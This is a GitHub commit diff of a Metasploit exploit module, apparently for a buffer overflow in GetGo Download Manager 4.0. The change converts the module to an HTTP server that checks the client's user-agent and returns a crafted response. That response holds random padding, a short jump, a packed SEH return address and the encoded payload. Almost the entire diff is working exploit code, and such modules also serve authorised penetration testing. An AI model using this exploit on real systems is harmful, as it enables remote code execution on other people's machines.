File tree Expand file tree Collapse file tree 1 file changed +17
-10
lines changed
modules/exploits/windows/browser Expand file tree Collapse file tree 1 file changed +17
-10
lines changed Original file line number Diff line number Diff line change @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
9
9
Rank = NormalRanking
10
10
11
11
include Msf ::Exploit ::Remote ::Seh
12
- include Msf ::Exploit ::Remote ::TcpServer
12
+ include Msf ::Exploit ::Remote ::HttpServer
13
13
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
@@ -59,21 +59,28 @@ def initialize(info = {})
59
59
'DefaultTarget' => 0 ) )
60
60
end
61
61
62
- def on_client_connect ( client )
62
+ def on_request_uri ( cli , request )
63
63
64
- sploit = "HTTP/1.1 200 "
65
- sploit << rand_text_alpha ( target [ 'Offset' ] )
64
+ print_status ( "Client connected..." )
65
+
66
+ unless request [ 'User-Agent' ] =~ /GetGo Download Manager 4.0/
67
+ print_error ( "Sending 404 for unknown user-agent" )
68
+ send_not_found ( cli )
69
+ return
70
+ end
71
+
72
+ sploit = rand_text_alpha ( target [ 'Offset' ] )
66
73
sploit << "\x90 \x90 \xEB \x06 "
67
74
sploit << [ target . ret ] . pack ( 'V' )
68
75
sploit << payload . encoded
69
76
70
- print_status ( "Sending #{ sploit . length } bytes to #{ client . peerhost } :#{ client . peerport } ..." )
71
- client . put ( sploit )
77
+ print_status ( "Sending #{ sploit . length } bytes to port #{ cli . peerport } ..." )
72
78
73
- sleep ( 3 )
74
- handler ( client )
75
- service . close_client ( client )
79
+ resp = create_response ( 200 , sploit )
80
+ resp . body = ""
81
+ cli . send_response ( resp )
76
82
77
- end
83
+ close_client ( cli )
78
84
85
+ end
79
86
end
You can’t perform that action at this time.
0 commit comments